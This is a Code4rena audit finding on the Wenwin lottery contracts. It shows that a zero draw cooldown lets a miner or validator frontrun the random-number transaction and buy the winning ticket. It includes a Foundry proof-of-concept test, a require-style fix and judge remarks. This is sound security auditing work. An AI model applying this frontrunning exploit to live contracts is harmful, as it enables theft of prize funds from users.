Platform: Code4rena
Start Date: 06/03/2023
Pot Size: $36,500 USDC
Total HM: 8
Participants: 93
Period: 3 days
Judge: cccz
Total Solo HM: 3
Id: 218
League: ETH
Rank: 15/93
Findings: 1
Award: $407.79
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: dingo2077
Also found by: 0x73696d616f, Blockian, d3e4, savi0ur
407.7933 USDC - $407.79
https://github.com/code-423n4/2023-03-wenwin/blob/main/src/Lottery.sol#L135 https://github.com/code-423n4/2023-03-wenwin/blob/main/src/Lottery.sol#L110 https://github.com/code-423n4/2023-03-wenwin/blob/main/src/Lottery.sol#L188 https://github.com/code-423n4/2023-03-wenwin/blob/main/src/Lottery.sol#L203 https://github.com/code-423n4/2023-03-wenwin/blob/main/src/LotterySetup.sol#L66 https://github.com/code-423n4/2023-03-wenwin/blob/main/src/LotterySetup.sol#L114 https://github.com/code-423n4/2023-03-wenwin/blob/main/src/LotterySetup.sol#L157
Validators/Miners would always be able to get the Jackpot prize, compromising the protocol.
The following foundry test illustrates this behaviour. Essentially, if the cooldown period (time before a draw during which it is not possible to buy tickets) is set to 0, then tickets can be bought after seeing the random number transaction in the mempool, by frontrunning the transaction. For this to happen, the validator/miner has to choose the block.timestamp to be exactly the scheduled draw time.
function testBuyWinningTicketBeforeHand() public { /// @notice setup vm.warp(0); uint256 cooldownPeriod = 0; Lottery lot = new Lottery( LotterySetupParams( rewardToken, LotteryDrawSchedule(2 * PERIOD, PERIOD, cooldownPeriod), TICKET_PRICE, SELECTION_SIZE, SELECTION_MAX, EXPECTED_PAYOUT, fixedRewards ), playerRewardFirstDraw, playerRewardDecrease, rewardsToReferrersPerDraw, MAX_RN_FAILED_ATTEMPTS, MAX_RN_REQUEST_DELAY ); rewardToken.mint(1e24); rewardToken.transfer(address(lot), 1e24); vm.warp(lot.initialPotDeadline() + 1); lot.finalizeInitialPotRaise(); lot.initSource(IRNSource(randomNumberSource)); vm.mockCall(randomNumberSource, abi.encodeWithSelector(IRNSource.requestRandomNumber.selector), abi.encode(0)); /** * @notice All this happens in the same block.timestamp, so a miner can buy the ticket after seeing * the onRandomNumberFulfilled(randomNumber) transaction in the mempool with the winning ticket. */ vm.warp(block.timestamp + 60 * 60 * 24 - 1); uint128 drawId = lot.currentDraw(); vm.startPrank(USER); rewardToken.mint(TICKET_PRICE); rewardToken.approve(address(lot), TICKET_PRICE); uint128[] memory drawIds = new uint128[](1); drawIds[0] = lot.currentDraw(); uint120[] memory tickets = new uint120[](1); tickets[0] = uint120(0x0F); uint256[] memory ticketIds = lot.buyTickets(drawIds, tickets, FRONTEND_ADDRESS, address(0)); vm.stopPrank(); lot.executeDraw(); // winning ticket uint256 randomNumber = 0x00000000; vm.prank(randomNumberSource); lot.onRandomNumberFulfilled(randomNumber); vm.prank(USER); lot.claimWinningTickets(ticketIds); assertEq(rewardToken.balanceOf(USER), lot.winAmount(drawId, SELECTION_SIZE)); }
VsCode, Foundry
In the lottery setup Lottery.sol
contract, put a require that the variable lotterySetupParams.drawSchedule.drawCoolDownPeriod
is bigger than 0.
if ( lotterySetupParams.drawSchedule.drawCoolDownPeriod >= lotterySetupParams.drawSchedule.drawPeriod || lotterySetupParams.drawSchedule.firstDrawScheduledAt < lotterySetupParams.drawSchedule.drawPeriod || lotterySetupParams.drawSchedule.drawCoolDownPeriod == 0 ) { revert DrawPeriodInvalidSetup();
#0 - c4-judge
2023-03-10T08:12:37Z
thereksfour marked the issue as unsatisfactory: Overinflated severity
#1 - c4-judge
2023-03-10T10:15:11Z
thereksfour marked the issue as satisfactory
#2 - c4-judge
2023-03-10T10:15:52Z
thereksfour marked the issue as duplicate of #141
#3 - c4-judge
2023-03-10T10:16:14Z
thereksfour changed the severity to 2 (Med Risk)